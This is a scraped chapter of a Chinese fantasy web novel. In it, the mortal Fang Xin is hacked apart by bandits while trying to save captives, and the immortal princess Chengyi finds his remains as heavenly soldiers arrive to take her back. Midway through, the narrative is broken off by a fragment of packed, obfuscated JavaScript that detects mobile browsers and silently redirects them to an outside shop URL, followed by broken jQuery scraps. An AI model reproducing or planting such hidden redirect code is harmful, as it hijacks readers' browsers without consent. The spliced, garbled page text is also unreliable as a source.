文趣网 > 其他小说 > 挽橙衣 > 35. 身陷险境(下)
    那贼首抬脚将方昕一脚踹倒在地,将那对母女拽走。

    方昕这才看清,原来这伙人身后绑着无数妇孺,嘴里都被塞了东西,只能无声哭泣。

    那对母女立即被小贼捆起来,那小孩吓得大哭,忙被扇了一巴掌,霎时晕了过去,那妇人挣扎着要去阻拦,随即便被踹倒在地。

    那孩子的哭声充斥在方昕的脑海中,越来越响,越来越清晰,叫他头痛欲裂,他奋力睁开眼,见那孩子嘴角带着血倒在地上,定神一看,倏地发现那孩子的面庞竟然与方天索重合了。

    他的双眼充血,手指在地上抠出血来,见那妇人痛得发出呻吟声,又恍惚见到茉莉倒地,哭着对他哀求道:救我。

    他艰难地站起身来,晃了晃脑袋,又想起多年来,梦中常常出现那幕:穿着白色战甲的男人站在云端,披风高高扬起,一呼百应,威武神气。

    于是拔出腰间长剑,毫不犹豫向前冲去。

    那贼首面上露出可怖的笑容,用刀轻轻一劈,便将方昕长剑击落,他拽起方昕衣领,冷笑一声:“逞英雄,是要付出代价的。”他的眼神冰冷,似乎想起一些久远的往事,意味深长的眸色中带出浅浅的杀意。

    他手一松,将人留给了部下。

    小贼们有的同妇人们调笑起来,见她们吓得花容失色,便更加地兴奋;有的围上方昕,见他还要突出重围去救人,便更加鄙夷,拳打脚踢起来。

    方昕应付小贼不成问题,但是寡不敌众,很快被打得奄奄一息。

    他两眼昏花,浑身无力,痛楚不知从何处传来,只是一阵一阵,痛感在反复中消弭,他恍惚看见那个孩子就在自己身前。

    他已经神智不清,嘴里喃喃道:“天索,天索。”他不知道自己有没有挪动半分,只是用尽全力朝她爬去、朝她伸手。

    他忽然被一道白光闪了一下,他似乎又看见了,那个身穿白甲的第一神将,高站云端,孑然一身,落寞地抱着长剑,留给他一个杂糅着悲伤、孤寂和不甘的眼神。

    他不知道的是,那个孩子躺在他身后,一切只是他的幻觉。

    他更不知道,那道光芒,是贼首落下的大刀;落下的也不止一刀,是很多刀,他到最后,四分五裂,血肉模糊。

    茉莉留给他的那道护身符,随着他破碎的躯体碎裂,又被一阵邪风吹散。

    橙衣在方府见到护身符在手心消散时,几乎是不顾一切,在哭泣中抬起头,高声嘶喊起来,悲伤将她身上的封印冲开,光芒笼罩她的全身,她在光芒中一瞬间消失。方家人扑上来抓,只落得一场空。

    她几乎是一刹那来到方昕身边。

    初时,她被悲伤冲昏了头脑,而所到之处似乎才经历过一场厮杀,遍地尸身。她觉得浑身发软,只边哭边像一只无头苍蝇在那堆尸体中翻找着方昕。

    直到将所有尸体翻找一遍,没有找到方昕,才松了口气,坐到地上,干呕了几下,又哭又笑:“幸好,没有方昕,没有他,他就没有死。”

    可是很快,龙神剑便剧烈晃动起来,发出微微的金光,似乎在呼唤着她。

    她似乎也受到了召唤,不自觉起身,朝那道微弱的光走去,将压住龙神剑的那具尸体翻开。

    幸好,不是方昕。

    她长长呼了一口气,想要抓起龙神剑,却发现剑柄被一只手死死抓着,那只手的指节很用力,森森白骨呼之欲出。

    橙衣想要将那五指掰开,蹲下身,才发现,那仅仅是一只手。

    眼中忽然蒙上一层雾气,她模糊地望见不远处,还散落着许多尸身碎片,似乎是有一个人,被砍得七零八碎。

    她一颗心忽然剧烈跳动起来,她有一种很不好的预感,颤抖着指尖去触碰剑柄上的手指。

    一瞬间,脑海中记忆涌动,一幕幕向她飞来。

    方昕深呼吸数次,正了正衣襟,最后将手中的伞塞给阿纪,快步朝自己走去。

    方昕靠在铺子柜前,抱着账本想着自己,面上露出痴笑。

    方昕将一盒茶藏在怀中,不住地催着马夫快些驾车。

    方昕将猫眼石擦了又擦,一整夜兴奋得睡不着。

    方昕撑着头听见自己在睡梦中喊了索连,不知呆坐了多久。

    方昕抱着天索在院中跑着,高高将女儿举起,听着女儿的笑声,乐不可支。

    最后是一声声熟悉的声音,不停地喊着自己:“茉莉!”

    橙衣一下子惊得往后摔去,嘴巴微张,一句话也说不出来,只是浑身不住颤抖,她想伸手去捂住嘴巴不叫自己哭出声来,最后却只得咬着手,才能让自己稍缓悲痛。

    这只手,这个被砍碎的人,竟然是方昕!

    她悲痛难言,甚至不敢再多看地上的尸身一眼,只是原地坐着,低头垂泪。

    忽然,她发觉脖颈后面一凉。

    她没有回头去看,微微抬眼,只见周围皆是锋利的枪头。

    这一天,终于来了,她轻笑两声,才抬头去看走近前来的,正是千里眼和顺风耳,透过二仙留出的缝隙,她望见了悲悯地端着宝塔睥睨着自己的天王。

    “二公主,跟我们回去吧。”她不知道是谁苦口婆心地劝了一句,“我们一定为你求情的。”

    她的目光在千里眼和顺风耳之间逡巡,二仙的身影渐渐模糊,一滴泪滚落,正巧滴在方昕散落的另一只手的手心。

    顺风耳蹲下身,千里眼不忍多看,天王也侧身看塔,不发一言,背过身去,天兵们见状,你看看我,我看看你,犹豫着收了长枪,都低下了头。

    “二公主,原本,我们是可以当作什么都看不见的,可你这,一而再,再而三,我们实在是不好做啊。”顺风耳压低声音,摊了摊手。

    橙衣死死盯着那只手的手心,这只手,曾经握过她的手,抱过她,曾经拿过茉莉花、曾经一次次将心爱之物递给自己,而如今,还接着自己的泪水。

    她闭上双眼,哀嚎起来,无力回应顺风耳。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620683|204640||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >顺风耳知她在凡间滞留太久,生了凡性,此刻肯定苦痛不堪,想要伸手去扶她,却见她将眼泪一擦,艰难吐出几个字:“顺风耳,让我再陪陪他,好吗?”

    她伸手与地上那只手十指交扣,不止在想什么。

    顺风耳叹了一口气,站起身来,和千里眼相视一眼,都低下了头。

    自橙衣解封仙术,替女儿封住仙力的那一刻起,他和千里眼便已经洞悉了一切,只是谁都没有开口,只是当自己耳聋眼花,踟蹰着不肯相互通气。

    可第二回,橙衣又施法替夫君做了护身符,便再也瞒不住了,两人支支吾吾拼凑自己所见所听,拖沓着装作商量着没有上报,替她急得团团转,也替自己急得坐立不安。

    二公主虽好,他们也有心相助。

    天规森严,而玉帝是否有心袒护女儿,他们摸不清、说不准,若报了,玉帝痛失女儿,回过头来,可会将气撒在他们两个小仙身上?若不报,一招事发,又是玩忽职守之过,南天之殷鉴不远,虽不至于下凡轮回,总也讨不着好。

    再二再三,他同千里眼本想搏一搏一力捂下,偏偏这个时候,橙衣大施仙术,瞒无可瞒,他们匆匆禀报,又默契地瞒下了她同凡人诞育一女一事。

    玉帝大怒,可却让托塔天王待了二仙前来。

    二仙直冒冷汗,幸而是赌对了,玉帝派天王而不是大仙,显然是要网开一面。

    也因此,他们二仙才敢屈身相劝,才敢网开一面,让二公主与爱人告别。

    天王侧头来看跪在地上垂泪的橙衣,不禁想起自己遗留在人间的儿子木吒。

    玉帝的女儿,便可以由自己带天兵天将来捉拿;而他自己的儿子却只能由五百天兵私下去寻……

    这个想法一起,他不由得大惊,忙沉手顺气,定了定心神。

    他放眼望去,只见遍地尸身,只当是怨气太重,冲消了些许仙力,背过身,不再多看。

    忽而,一道金光闪现。

    这道金光,没有哪一位神仙不认识。只要去过太晨宫,都不可能眼生。

    接着,一个清丽的身影便从诸仙中穿过,来到橙衣身边,愣愣地站了一会儿,眼睛死死粘着龙神剑,最后软软地跪倒在地。

    她同龙神剑本是一体,自然知道,这握着剑柄的人是谁。

    天兵天将见她来,又见龙神剑在她身前,不由得都兴奋起来。

    此一行,本只以为是替天庭、替玉帝遮掩丑闻,不能四处声张,更别说有什么重赏了,他们也全都只是消极地跟着几个为首的仙上行事;可如今,龙神剑自投罗网,那就不一样了,他们只要擒剑回天,说不定可以复刻南天昔日的威风。

    正是,踏破铁鞋无觅处,得来全不费功夫。

    托塔天王拨开千里眼和顺风耳,悠悠走到二人身前,冷冷地望着地上的龙神玉。

    木吒就是因她失踪,数百年杳无音讯,便是没死,也受尽折磨。

    他,绝不可能放过她!